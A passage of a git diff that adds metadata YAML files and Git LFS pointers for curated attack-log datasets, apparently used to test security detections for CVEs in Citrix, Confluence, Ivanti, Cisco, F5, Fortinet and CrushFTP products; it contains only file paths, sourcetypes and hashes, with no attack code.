Unusual Location +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1187/snapattack/snapattack-dbf1fea5-b10b-4ba7-ad14-c00e62386d00.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1187/snapattack/snapattack-dbf1fea5-b10b-4ba7-ad14-c00e62386d00.log b/datasets/attack_techniques/T1187/snapattack/snapattack-dbf1fea5-b10b-4ba7-ad14-c00e62386d00.log new file mode 100644 index 000000000..78e7af7d2 --- /dev/null +++ b/datasets/attack_techniques/T1187/snapattack/snapattack-dbf1fea5-b10b-4ba7-ad14-c00e62386d00.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fb77e3cffebfc51f07037d5ba630c685186b9a874fabd4ab1002a7c09cc31bac +size 1202 diff --git a/datasets/attack_techniques/T1190/adobe/T1190_adobe.yml b/datasets/attack_techniques/T1190/adobe/T1190_adobe.yml new file mode 100644 index 000000000..f4794d6df --- /dev/null +++ b/datasets/attack_techniques/T1190/adobe/T1190_adobe.yml @@ -0,0 +1,17 @@ +author: STRT +id: d1300156-7dc9-4de7-85ac-90d863c6f181 +date: '2026-07-13' +description: Curated attack data generated for detection Adobe ColdFusion Access Control + Bypass +environment: attack_range +directory: adobe +mitre_technique: [] +datasets: +- name: coldfusion_cve_2023_29298 + path: /datasets/attack_techniques/T1190/adobe/coldfusion_cve_2023_29298-d1300156-7dc9-4de7-85ac-90d863c6f181.log + sourcetype: suricata + source: not_applicable +- name: cve_2023_29360_coldfusion + path: /datasets/attack_techniques/T1190/adobe/cve_2023_29360_coldfusion-d1300156-7dc9-4de7-85ac-90d863c6f181.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/adobe/coldfusion_cve_2023_29298-d1300156-7dc9-4de7-85ac-90d863c6f181.log b/datasets/attack_techniques/T1190/adobe/coldfusion_cve_2023_29298-d1300156-7dc9-4de7-85ac-90d863c6f181.log new file mode 100644 index 000000000..7c7f4f04d --- /dev/null +++ b/datasets/attack_techniques/T1190/adobe/coldfusion_cve_2023_29298-d1300156-7dc9-4de7-85ac-90d863c6f181.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7ff22c6df9b63536638ac29d6ae963b5f7e004696ea29742fcd4d3713777ddaf +size 544 diff --git a/datasets/attack_techniques/T1190/adobe/cve_2023_29360_coldfusion-d1300156-7dc9-4de7-85ac-90d863c6f181.log b/datasets/attack_techniques/T1190/adobe/cve_2023_29360_coldfusion-d1300156-7dc9-4de7-85ac-90d863c6f181.log new file mode 100644 index 000000000..3e952dc60 --- /dev/null +++ b/datasets/attack_techniques/T1190/adobe/cve_2023_29360_coldfusion-d1300156-7dc9-4de7-85ac-90d863c6f181.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6b2f32a7e5689db3323ca6ee1500300e195959234c7fab42750f229bd7de9a3b +size 1903 diff --git a/datasets/attack_techniques/T1190/cisco/CVE-2026-20127/auth_dummy_key-7a5b3f9f-7ca4-40e7-aeab-0f2b00bf2587.log b/datasets/attack_techniques/T1190/cisco/CVE-2026-20127/auth_dummy_key-7a5b3f9f-7ca4-40e7-aeab-0f2b00bf2587.log new file mode 100644 index 000000000..2148aa34f --- /dev/null +++ b/datasets/attack_techniques/T1190/cisco/CVE-2026-20127/auth_dummy_key-7a5b3f9f-7ca4-40e7-aeab-0f2b00bf2587.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f117311fc99479c57f3e4847bcc7e25785cee40be66c43cb6b0128ad28970f5d +size 36882 diff --git a/datasets/attack_techniques/T1190/cisco/CVE-2026-20127/cisco_CVE-2026-20127.yml b/datasets/attack_techniques/T1190/cisco/CVE-2026-20127/cisco_CVE-2026-20127.yml new file mode 100644 index 000000000..edeee218a --- /dev/null +++ b/datasets/attack_techniques/T1190/cisco/CVE-2026-20127/cisco_CVE-2026-20127.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7a5b3f9f-7ca4-40e7-aeab-0f2b00bf2587 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco SD-WAN Multiple Source + IP vManage Admin SSH Authentication +environment: attack_range +directory: CVE-2026-20127 +mitre_technique: [] +datasets: +- name: auth_dummy_key + path: /datasets/attack_techniques/T1190/cisco/CVE-2026-20127/auth_dummy_key-7a5b3f9f-7ca4-40e7-aeab-0f2b00bf2587.log + sourcetype: cisco:sdwan:syslog + source: /var/log/auth.log diff --git a/datasets/attack_techniques/T1190/cisco/cisco_smart_install/cisco_cisco_smart_install.yml b/datasets/attack_techniques/T1190/cisco/cisco_smart_install/cisco_cisco_smart_install.yml new file mode 100644 index 000000000..ae9385b49 --- /dev/null +++ b/datasets/attack_techniques/T1190/cisco/cisco_smart_install/cisco_cisco_smart_install.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5397e6cb-10c5-4db4-b466-16fbfa1f32ff +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Configuration Archive + Logging Analysis +environment: attack_range +directory: cisco_smart_install +mitre_technique: [] +datasets: +- name: cisco_ios + path: /datasets/attack_techniques/T1190/cisco/cisco_smart_install/cisco_ios-5397e6cb-10c5-4db4-b466-16fbfa1f32ff.log + sourcetype: cisco:ios + source: cisco:ios diff --git a/datasets/attack_techniques/T1190/cisco/cisco_smart_install/cisco_ios-5397e6cb-10c5-4db4-b466-16fbfa1f32ff.log b/datasets/attack_techniques/T1190/cisco/cisco_smart_install/cisco_ios-5397e6cb-10c5-4db4-b466-16fbfa1f32ff.log new file mode 100644 index 000000000..9f215fc46 --- /dev/null +++ b/datasets/attack_techniques/T1190/cisco/cisco_smart_install/cisco_ios-5397e6cb-10c5-4db4-b466-16fbfa1f32ff.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4689064d048b5f2fab2de2a23cee9b98ae072b3836f700cfaeead10f96c41457 +size 643 diff --git a/datasets/attack_techniques/T1190/cisco/iosxe/cisco_iosxe.yml b/datasets/attack_techniques/T1190/cisco/iosxe/cisco_iosxe.yml new file mode 100644 index 000000000..a6ef40c63 --- /dev/null +++ b/datasets/attack_techniques/T1190/cisco/iosxe/cisco_iosxe.yml @@ -0,0 +1,12 @@ +author: STRT +id: 2815a23c-5ed5-4cc8-9e7b-9785079a8e64 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco IOS XE Implant Access +environment: attack_range +directory: iosxe +mitre_technique: [] +datasets: +- name: ciscocve202320198 + path: /datasets/attack_techniques/T1190/cisco/iosxe/ciscocve202320198-2815a23c-5ed5-4cc8-9e7b-9785079a8e64.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/cisco/iosxe/ciscocve202320198-2815a23c-5ed5-4cc8-9e7b-9785079a8e64.log b/datasets/attack_techniques/T1190/cisco/iosxe/ciscocve202320198-2815a23c-5ed5-4cc8-9e7b-9785079a8e64.log new file mode 100644 index 000000000..bcb7f8961 --- /dev/null +++ b/datasets/attack_techniques/T1190/cisco/iosxe/ciscocve202320198-2815a23c-5ed5-4cc8-9e7b-9785079a8e64.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:acdd2a3f910e41eb336cf699656af0217cb1124ffcf93fb4af82b8a3ab383c8f +size 518 diff --git a/datasets/attack_techniques/T1190/citrix/T1190_citrix.yml b/datasets/attack_techniques/T1190/citrix/T1190_citrix.yml new file mode 100644 index 000000000..5b27d322c --- /dev/null +++ b/datasets/attack_techniques/T1190/citrix/T1190_citrix.yml @@ -0,0 +1,25 @@ +author: STRT +id: a0bdbe58-b2d5-4f77-890c-668ad9174d36 +date: '2026-07-13' +description: Curated attack data generated for detection Citrix ADC and Gateway CitrixBleed + 2 Memory Disclosure +environment: attack_range +directory: citrix +mitre_technique: [] +datasets: +- name: suricata_citrixbleed2 + path: /datasets/attack_techniques/T1190/citrix/suricata_citrixbleed2-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log + sourcetype: suricata + source: not_applicable +- name: cve-2023-4966-citrix + path: /datasets/attack_techniques/T1190/citrix/cve-2023-4966-citrix-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log + sourcetype: suricata + source: not_applicable +- name: citrix-cve20233519 + path: /datasets/attack_techniques/T1190/citrix/citrix-cve20233519-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log + sourcetype: pan:threat + source: not_applicable +- name: citrix-cve_2023_24489 + path: /datasets/attack_techniques/T1190/citrix/citrix-cve_2023_24489-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/citrix/citrix-cve20233519-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log b/datasets/attack_techniques/T1190/citrix/citrix-cve20233519-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log new file mode 100644 index 000000000..8f1eb01e5 --- /dev/null +++ b/datasets/attack_techniques/T1190/citrix/citrix-cve20233519-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7f810fdd8dc017572d6419a6da65cdad4cc3f27d34d87679215bd63e9ea0ff01 +size 1981 diff --git a/datasets/attack_techniques/T1190/citrix/citrix-cve_2023_24489-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log b/datasets/attack_techniques/T1190/citrix/citrix-cve_2023_24489-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log new file mode 100644 index 000000000..def853028 --- /dev/null +++ b/datasets/attack_techniques/T1190/citrix/citrix-cve_2023_24489-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:593220650a2f5bcd7d9e7a4757574ece1a7a268f1a0ae10231945a7ad624cf0a +size 49817 diff --git a/datasets/attack_techniques/T1190/citrix/cve-2023-4966-citrix-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log b/datasets/attack_techniques/T1190/citrix/cve-2023-4966-citrix-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log new file mode 100644 index 000000000..9fc3abdb1 --- /dev/null +++ b/datasets/attack_techniques/T1190/citrix/cve-2023-4966-citrix-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1458ee1271ce0eecb31ce554af4e0e50a890606f1aa55cd8a68993c69e568fac +size 665 diff --git a/datasets/attack_techniques/T1190/citrix/suricata_citrixbleed2-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log b/datasets/attack_techniques/T1190/citrix/suricata_citrixbleed2-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log new file mode 100644 index 000000000..3a90b9437 --- /dev/null +++ b/datasets/attack_techniques/T1190/citrix/suricata_citrixbleed2-a0bdbe58-b2d5-4f77-890c-668ad9174d36.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3abd11d677dd760e66ea09b45f8c461ff762239dacd1862af436fa39b7443787 +size 604 diff --git a/datasets/attack_techniques/T1190/confluence/T1190_confluence.yml b/datasets/attack_techniques/T1190/confluence/T1190_confluence.yml new file mode 100644 index 000000000..802677559 --- /dev/null +++ b/datasets/attack_techniques/T1190/confluence/T1190_confluence.yml @@ -0,0 +1,25 @@ +author: STRT +id: 90e45f25-7776-4988-bda7-3d46d21ff586 +date: '2026-07-13' +description: Curated attack data generated for detection Confluence CVE-2023-22515 + Trigger Vulnerability +environment: attack_range +directory: confluence +mitre_technique: [] +datasets: +- name: confluence_vuln_trigger_cve-2023-22515 + path: /datasets/attack_techniques/T1190/confluence/confluence_vuln_trigger_cve-2023-22515-90e45f25-7776-4988-bda7-3d46d21ff586.log + sourcetype: suricata + source: not_applicable +- name: nginx_plus_kv_confluence + path: /datasets/attack_techniques/T1190/confluence/nginx_plus_kv_confluence-90e45f25-7776-4988-bda7-3d46d21ff586.log + sourcetype: nginx:plus:kv + source: nginx:plus:kv +- name: suricata_confluence_cve-2023-22527 + path: /datasets/attack_techniques/T1190/confluence/suricata_confluence_cve-2023-22527-90e45f25-7776-4988-bda7-3d46d21ff586.log + sourcetype: suricata + source: not_applicable +- name: nginx_shellservlet + path: /datasets/attack_techniques/T1190/confluence/nginx_shellservlet-90e45f25-7776-4988-bda7-3d46d21ff586.log + sourcetype: nginx:plus:kv + source: /var/log/nginx/access.log diff --git a/datasets/attack_techniques/T1190/confluence/confluence_vuln_trigger_cve-2023-22515-90e45f25-7776-4988-bda7-3d46d21ff586.log b/datasets/attack_techniques/T1190/confluence/confluence_vuln_trigger_cve-2023-22515-90e45f25-7776-4988-bda7-3d46d21ff586.log new file mode 100644 index 000000000..39239597d --- /dev/null +++ b/datasets/attack_techniques/T1190/confluence/confluence_vuln_trigger_cve-2023-22515-90e45f25-7776-4988-bda7-3d46d21ff586.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1b44b3572d9cd15e4c22ac560f0aadc7f9ee84b488f2e85309036573cd16e338 +size 5471 diff --git a/datasets/attack_techniques/T1190/confluence/nginx_plus_kv_confluence-90e45f25-7776-4988-bda7-3d46d21ff586.log b/datasets/attack_techniques/T1190/confluence/nginx_plus_kv_confluence-90e45f25-7776-4988-bda7-3d46d21ff586.log new file mode 100644 index 000000000..bdaa1fd9e --- /dev/null +++ b/datasets/attack_techniques/T1190/confluence/nginx_plus_kv_confluence-90e45f25-7776-4988-bda7-3d46d21ff586.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:951be7068b270af76cbf912e5b864bfb2be03daaa4bd27cb7cd3172747d78e0e +size 4006 diff --git a/datasets/attack_techniques/T1190/confluence/nginx_shellservlet-90e45f25-7776-4988-bda7-3d46d21ff586.log b/datasets/attack_techniques/T1190/confluence/nginx_shellservlet-90e45f25-7776-4988-bda7-3d46d21ff586.log new file mode 100644 index 000000000..367bb932d --- /dev/null +++ b/datasets/attack_techniques/T1190/confluence/nginx_shellservlet-90e45f25-7776-4988-bda7-3d46d21ff586.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:88fd574fd966e5d85ebdb0325b78fd3677a6eb27c0472d7af5a88e776c6bba4e +size 669 diff --git a/datasets/attack_techniques/T1190/confluence/suricata_confluence_cve-2023-22527-90e45f25-7776-4988-bda7-3d46d21ff586.log b/datasets/attack_techniques/T1190/confluence/suricata_confluence_cve-2023-22527-90e45f25-7776-4988-bda7-3d46d21ff586.log new file mode 100644 index 000000000..c1be02454 --- /dev/null +++ b/datasets/attack_techniques/T1190/confluence/suricata_confluence_cve-2023-22527-90e45f25-7776-4988-bda7-3d46d21ff586.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c08d7184dd94b7ace525558f02946a270f4f1ef833ffacb6075604521c5e9615 +size 575 diff --git a/datasets/attack_techniques/T1190/crushftp/T1190_crushftp.yml b/datasets/attack_techniques/T1190/crushftp/T1190_crushftp.yml new file mode 100644 index 000000000..b0a0f1af6 --- /dev/null +++ b/datasets/attack_techniques/T1190/crushftp/T1190_crushftp.yml @@ -0,0 +1,17 @@ +author: STRT +id: 37d6626d-85fe-467a-86d2-ab64db8e38f2 +date: '2026-07-13' +description: Curated attack data generated for detection Windows Shell Process from + CrushFTP +environment: attack_range +directory: crushftp +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1190/crushftp/windows-sysmon-37d6626d-85fe-467a-86d2-ab64db8e38f2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: crushftp11_session + path: /datasets/attack_techniques/T1190/crushftp/crushftp11_session-37d6626d-85fe-467a-86d2-ab64db8e38f2.log + sourcetype: crushftp:sessionlogs + source: crushftp diff --git a/datasets/attack_techniques/T1190/crushftp/crushftp11_session-37d6626d-85fe-467a-86d2-ab64db8e38f2.log b/datasets/attack_techniques/T1190/crushftp/crushftp11_session-37d6626d-85fe-467a-86d2-ab64db8e38f2.log new file mode 100644 index 000000000..cbb23913a --- /dev/null +++ b/datasets/attack_techniques/T1190/crushftp/crushftp11_session-37d6626d-85fe-467a-86d2-ab64db8e38f2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b6fcb7f6f94c13c391bf4c816f58c37b048fb15267ba7a5b847a03356c2b9c6e +size 429 diff --git a/datasets/attack_techniques/T1190/crushftp/windows-sysmon-37d6626d-85fe-467a-86d2-ab64db8e38f2.log b/datasets/attack_techniques/T1190/crushftp/windows-sysmon-37d6626d-85fe-467a-86d2-ab64db8e38f2.log new file mode 100644 index 000000000..d7d109c7f --- /dev/null +++ b/datasets/attack_techniques/T1190/crushftp/windows-sysmon-37d6626d-85fe-467a-86d2-ab64db8e38f2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2e9efea0d5421db1f9f2889ba418fc5f868fd38cb9654dc7312a9d31c0e28d0c +size 1931 diff --git a/datasets/attack_techniques/T1190/f5/T1190_f5.yml b/datasets/attack_techniques/T1190/f5/T1190_f5.yml new file mode 100644 index 000000000..7b4f45ed7 --- /dev/null +++ b/datasets/attack_techniques/T1190/f5/T1190_f5.yml @@ -0,0 +1,17 @@ +author: STRT +id: 95b9000e-76a2-4392-b87c-ac7572744cfc +date: '2026-07-13' +description: Curated attack data generated for detection F5 BIG-IP iControl REST Vulnerability + CVE-2022-1388 +environment: attack_range +directory: f5 +mitre_technique: [] +datasets: +- name: f5 + path: /datasets/attack_techniques/T1190/f5/f5-95b9000e-76a2-4392-b87c-ac7572744cfc.log + sourcetype: pan:threat + source: not_applicable +- name: f5_tmui + path: /datasets/attack_techniques/T1190/f5/f5_tmui-95b9000e-76a2-4392-b87c-ac7572744cfc.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/f5/f5-95b9000e-76a2-4392-b87c-ac7572744cfc.log b/datasets/attack_techniques/T1190/f5/f5-95b9000e-76a2-4392-b87c-ac7572744cfc.log new file mode 100644 index 000000000..85a24c053 --- /dev/null +++ b/datasets/attack_techniques/T1190/f5/f5-95b9000e-76a2-4392-b87c-ac7572744cfc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a7001c22ee75adabd53630c61e82b890ded3ea66c4d2aa18aa38c77a494d5fc6 +size 760 diff --git a/datasets/attack_techniques/T1190/f5/f5_tmui-95b9000e-76a2-4392-b87c-ac7572744cfc.log b/datasets/attack_techniques/T1190/f5/f5_tmui-95b9000e-76a2-4392-b87c-ac7572744cfc.log new file mode 100644 index 000000000..f87048b25 --- /dev/null +++ b/datasets/attack_techniques/T1190/f5/f5_tmui-95b9000e-76a2-4392-b87c-ac7572744cfc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6905433a131ceec3d15082138f22a6f43db741ab1b5fd823503fc16cbe16cbd0 +size 1181 diff --git a/datasets/attack_techniques/T1190/fortigate/T1190_fortigate.yml b/datasets/attack_techniques/T1190/fortigate/T1190_fortigate.yml new file mode 100644 index 000000000..2f3cec66b --- /dev/null +++ b/datasets/attack_techniques/T1190/fortigate/T1190_fortigate.yml @@ -0,0 +1,17 @@ +author: STRT +id: 34b6576c-208f-4f94-8dd7-7fd9c1625b4a +date: '2026-07-13' +description: Curated attack data generated for detection Exploit Public-Facing Fortinet + FortiNAC CVE-2022-39952 +environment: attack_range +directory: fortigate +mitre_technique: [] +datasets: +- name: web_fortinetnac + path: /datasets/attack_techniques/T1190/fortigate/web_fortinetnac-34b6576c-208f-4f94-8dd7-7fd9c1625b4a.log + sourcetype: pan:threat + source: not_applicable +- name: fortinetcve202240684 + path: /datasets/attack_techniques/T1190/fortigate/fortinetcve202240684-34b6576c-208f-4f94-8dd7-7fd9c1625b4a.log + sourcetype: pan:threat + source: not_applicable diff --git a/datasets/attack_techniques/T1190/fortigate/fortinetcve202240684-34b6576c-208f-4f94-8dd7-7fd9c1625b4a.log b/datasets/attack_techniques/T1190/fortigate/fortinetcve202240684-34b6576c-208f-4f94-8dd7-7fd9c1625b4a.log new file mode 100644 index 000000000..6008d2a3d --- /dev/null +++ b/datasets/attack_techniques/T1190/fortigate/fortinetcve202240684-34b6576c-208f-4f94-8dd7-7fd9c1625b4a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0859a24067009985ce89e8b721b3641931b82f6937a6fb4720d17faf47f05f87 +size 891 diff --git a/datasets/attack_techniques/T1190/fortigate/web_fortinetnac-34b6576c-208f-4f94-8dd7-7fd9c1625b4a.log b/datasets/attack_techniques/T1190/fortigate/web_fortinetnac-34b6576c-208f-4f94-8dd7-7fd9c1625b4a.log new file mode 100644 index 000000000..d3ad8807e --- /dev/null +++ b/datasets/attack_techniques/T1190/fortigate/web_fortinetnac-34b6576c-208f-4f94-8dd7-7fd9c1625b4a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cc2429f635a40235ce60583cb1ec0ad1e935300e8f30682f5a70b18eab338287 +size 2134 diff --git a/datasets/attack_techniques/T1190/ivanti/T1190_ivanti.yml b/datasets/attack_techniques/T1190/ivanti/T1190_ivanti.yml new file mode 100644 index 000000000..ef830b354 --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/T1190_ivanti.yml @@ -0,0 +1,40 @@ +author: STRT +id: 0673db9c-eb80-423b-b71a-78b386e53ac2 +date: '2026-07-13' +description: Curated attack data generated for detection Ivanti VTM New Account Creation +environment: attack_range +directory: ivanti +mitre_technique: [] +datasets: +- name: ivanti_vtm_audit + path: /datasets/attack_techniques/T1190/ivanti/ivanti_vtm_audit-0673db9c-eb80-423b-b71a-78b386e53ac2.log + sourcetype: ivanti_vtm_audit + source: ivanti_vtm +- name: ivanti_bookmark_web_access + path: /datasets/attack_techniques/T1190/ivanti/ivanti_bookmark_web_access-0673db9c-eb80-423b-b71a-78b386e53ac2.log + sourcetype: suricata + source: not_applicable +- name: suricata_ivanti_secure_connect_exploitphase + path: /datasets/attack_techniques/T1190/ivanti/suricata_ivanti_secure_connect_exploitphase-0673db9c-eb80-423b-b71a-78b386e53ac2.log + sourcetype: suricata + source: not_applicable +- name: suricata_ivanti_saml + path: /datasets/attack_techniques/T1190/ivanti/suricata_ivanti_saml-0673db9c-eb80-423b-b71a-78b386e53ac2.log + sourcetype: suricata + source: not_applicable +- name: suricata_ivanti_secure_connect_checkphase + path: /datasets/attack_techniques/T1190/ivanti/suricata_ivanti_secure_connect_checkphase-0673db9c-eb80-423b-b71a-78b386e53ac2.log + sourcetype: suricata + source: not_applicable +- name: suricata_ivanti_epm + path: /datasets/attack_techniques/T1190/ivanti/suricata_ivanti_epm-0673db9c-eb80-423b-b71a-78b386e53ac2.log + sourcetype: suricata + source: not_applicable +- name: suricata_ivanti_CVE202335078 + path: /datasets/attack_techniques/T1190/ivanti/suricata_ivanti_CVE202335078-0673db9c-eb80-423b-b71a-78b386e53ac2.log + sourcetype: suricata + source: not_applicable +- name: suricata_ivanti_CVE202335082 + path: /datasets/attack_techniques/T1190/ivanti/suricata_ivanti_CVE202335082-0673db9c-eb80-423b-b71a-78b386e53ac2.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/ivanti/ivanti_bookmark_web_access-0673db9c-eb80-423b-b71a-78b386e53ac2.log b/datasets/attack_techniques/T1190/ivanti/ivanti_bookmark_web_access-0673db9c-eb80-423b-b71a-78b386e53ac2.log new file mode 100644 index 000000000..1429c8b96 --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/ivanti_bookmark_web_access-0673db9c-eb80-423b-b71a-78b386e53ac2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3dc8594b9ca06ec70cf6eeff4598d68214c133c3828364a61785ca69eafa2f98 +size 1156 diff --git a/datasets/attack_techniques/T1190/ivanti/ivanti_vtm_audit-0673db9c-eb80-423b-b71a-78b386e53ac2.log b/datasets/attack_techniques/T1190/ivanti/ivanti_vtm_audit-0673db9c-eb80-423b-b71a-78b386e53ac2.log new file mode 100644 index 000000000..73775051d --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/ivanti_vtm_audit-0673db9c-eb80-423b-b71a-78b386e53ac2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e720bf186fc2e55432dbfa500c0267437aa9dec898fda59dc22a56fee96ecd6d +size 1169 diff --git a/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_CVE202335078-0673db9c-eb80-423b-b71a-78b386e53ac2.log b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_CVE202335078-0673db9c-eb80-423b-b71a-78b386e53ac2.log new file mode 100644 index 000000000..3036c7253 --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_CVE202335078-0673db9c-eb80-423b-b71a-78b386e53ac2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2097d87142523e3ccbb5aeddda829f835986e0a2e913e51d12d3ff16983228d6 +size 1506 diff --git a/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_CVE202335082-0673db9c-eb80-423b-b71a-78b386e53ac2.log b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_CVE202335082-0673db9c-eb80-423b-b71a-78b386e53ac2.log new file mode 100644 index 000000000..87f2de5a5 --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_CVE202335082-0673db9c-eb80-423b-b71a-78b386e53ac2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:55f5b1139824f760da18f81a574181a8e3f4eea011cb85d9f2892325c2977e27 +size 596 diff --git a/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_epm-0673db9c-eb80-423b-b71a-78b386e53ac2.log b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_epm-0673db9c-eb80-423b-b71a-78b386e53ac2.log new file mode 100644 index 000000000..f928075d8 --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_epm-0673db9c-eb80-423b-b71a-78b386e53ac2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b0b88e4348efb329d09c11435b4b0171c83a9f83ab3a06f248459b7628333aad +size 1019 diff --git a/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_saml-0673db9c-eb80-423b-b71a-78b386e53ac2.log b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_saml-0673db9c-eb80-423b-b71a-78b386e53ac2.log new file mode 100644 index 000000000..c48815ebd --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_saml-0673db9c-eb80-423b-b71a-78b386e53ac2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0709d0dd199049f48ac320c6b65dd7e912d3c8d45886713aaac07cec74762951 +size 2262 diff --git a/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_secure_connect_checkphase-0673db9c-eb80-423b-b71a-78b386e53ac2.log b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_secure_connect_checkphase-0673db9c-eb80-423b-b71a-78b386e53ac2.log new file mode 100644 index 000000000..23e4fc658 --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_secure_connect_checkphase-0673db9c-eb80-423b-b71a-78b386e53ac2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:60d3cef7592bbbbc706004e3f10042c4701a8f2b1a8a58bf5b6250dd3c9eb2fb +size 1976 diff --git a/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_secure_connect_exploitphase-0673db9c-eb80-423b-b71a-78b386e53ac2.log b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_secure_connect_exploitphase-0673db9c-eb80-423b-b71a-78b386e53ac2.log new file mode 100644 index 000000000..dd7a2b15d --- /dev/null +++ b/datasets/attack_techniques/T1190/ivanti/suricata_ivanti_secure_connect_exploitphase-0673db9c-eb80-423b-b71a-78b386e53ac2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:933678910315c43013f1de61ac52ba88e9339c5f3c3cffcb9ae7e55ba6daa00c +size 2177 diff --git a/datasets/attack_techniques/T1190/java/T1190_java.yml b/datasets/attack_techniques/T1190/java/T1190_java.yml new file mode 100644 index 000000000..f2d9ed9e5 --- /dev/null +++ b/datasets/attack_techniques/T1190/java/T1190_java.yml @@ -0,0 +1,21 @@ +author: STRT +id: b006f086-b7ff-4ab9-80e8-43cb06c8975e +date: '2026-07-13' +description: Curated attack data generated for detection Web or Application Server + Spawning a Shell +environment: attack_range +directory: java +mitre_technique: [] +datasets: +- name: java_spawn_shell_nix + path: 